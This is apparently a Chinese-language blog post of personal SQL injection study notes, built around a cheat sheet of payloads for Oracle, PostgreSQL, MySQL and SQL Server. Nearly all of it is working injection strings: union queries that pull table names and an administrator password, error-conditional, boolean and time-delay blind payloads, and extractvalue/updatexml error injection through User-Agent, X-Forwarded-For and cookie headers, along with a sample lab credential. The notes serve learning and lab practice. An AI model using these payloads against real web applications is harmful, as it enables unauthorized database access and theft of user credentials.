sql注入葵花宝典
重要的是找到注入点
四种常见的数据库 注入过程大同小异 先探测出数据类型很重要
注入类型
union注入
带错误条件注入
时间延迟注入
报错注入
外带交互的盲注(需要与XXE技术结合)
sql注入作用
检索隐藏数据
颠覆应用程序逻辑
从其他数据表中检索数据
注释
--+
#
--(空格)
或将其编码
探测注入点
单引号闭合
单引号 + 括号
双引号 + 括号
单引号 + 括号 +括号
对(' " -- 空格 # )编码
Oracle
select 查询时必须有表单选取
有内置的表单dual
v$version版本号(select banner from v$version)连接符为||
union注入过程
USERS_GEKDJF (探测到储存用户的表)
USERNAME_OAPKBN (探测到储存到用户的账号的列名)
PASSWORD_KWHDDB (探测到储存到拥护密码的列名)
administrator (测试到的账号)
8hlnwzqmuzm3yzshx5ie (测试到的密码)
' (看是否会触发错误)
'-- (是否不会错误)
' union select null,null from dual-- (确定是否是Oracle数据库)
' union SELECT banner,null FROM v$version-- (探测数据库版本)
' union select username from all_users-- (数据库的用户)
' union select tablespace_name,null from user_tablespaces-- (看储存的数据库)
' union select table_name,null from user_tables-- (储存的表名)
' union select column_name,null from user_tab_columns where table_name='USERS_GEKDJF'-- (表中储存的列名)
' union select PASSWORD_KWHDDB,null from 'USERS_GEKDJF'-- (获取账号密码)
' union select PASSWORD_KWHDDB,null from USERS_GEKDJF where USERNAME_OAPKBN='administrator'-- (获取指定用户的密码)
拓展:
' union select default_tablespace,null from user_users --(查看当前用户所在的表空间)
' UNION SELECT username || '~' || password FROM users--(一列回显显示两列信息)
带有错误条件
'and '1'='1
' || (select '' from dual) || '
'||(select '' from users)||' (注入失败 因为输出太多)
'||(select '' from users where rownum=1)||' (限制输出为一行 rownum 限制输出行数)
'||(select case when (1=1) then to_char(1/0) else '' end from dual)||' (1/0恒为假 会报错 返回不了信息)
'||(select case when(1=2) then to_char(1/0) else '' end from dual)||'
'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||'
'||(select case when(length(password)>1) then '' else to_char(1/0) end from users where username='administrator')||'
'||(select case when (substr((password),1,1))='a' then '' else to_char(1/0) end from users where username='administrator')||'
返回错误响应(返回的界面有差异)
' AND '1'='1
' AND '1'='2
' and (select 'a' from users limit 1)='a
' and (select 'a' from users where username='administrator')='a
' and (select 'a' from users where username='administrator' and length(password)>1)='a
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
具有时间延迟
'%3Bselect case when (substring((password),1,1)='a') then pg_sleep(10) else pg_sleep(0) end from users where username='administrator'--
Microsoft SQL server
支持查询多条语句
PostgreSQL
version()版本号
MySQL
mysql默认的information_schema数据库里边 schemata表单中的schema_name列储存所有数据库名;
tables表单中table_name列储存所有表单名,table_schema列储存该表单所在的数据库;
columns表单中column_name列储存所有列名,table_name列储存该列所在的表单;
@@version 版本号(select @@version)连接符为空格
@@datadir 读取数据库的路径,@@basedir 读取数据库安装路径id
报错注入详细过程
' and extractvalue(1,concat(0x7e,(select database())))#
' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))#
' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 2,1)))#
' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)))#
' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)))#
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='(select database())' limit 0,1)))#
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))#
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))#
' and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users )))# 失败原因 在mysql中一个语句中不能先select表中的某些值,再update这个表
UA报错注入详细过程
数据中的sql语句为:INSEERT INTO table VALUES('User-Agent','Ip','Username')
1',1,updatexml(1,concat(0x7e,(select database())),1) and '1'='1 (不能注释 去闭合单引号)
1',1,updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) and '1'='1
1',1,updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) and '1'='1
XFF报错注入详细过程
1',1,updatexml(1,concat(0x7e,(select database())),1) and '1'='1
1',1,updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) and '1'='1
1',1,updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) and '1'='1
cookie报错注入详细教程
'and extractvalue(1,concat(0x7e,(select database()))) and '1'='1
'union select username,null,null from security.users limit 0,1#
时间注入详细过程
?id=1' and sleep(5)--+
?id=1' and if(length(database())=7,1,sleep(5))--+
?id=1' and if(substr(database(),1,1)='t',1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>1111,1,sleep(5))--+
?id=1' and if(substr((select databse()),1,1)='s',1,sleep(5))--+
?id=1' and if(substr(database(),1,1)='i',1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(1)) --+
?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))>1,sleep(5),sleep(1)) --+
标签:name,0x7e,select,sql,葵花宝典,users,注入,concat,schema From: https://www.cnblogs.com/yhchen-blogs/p/16964564.html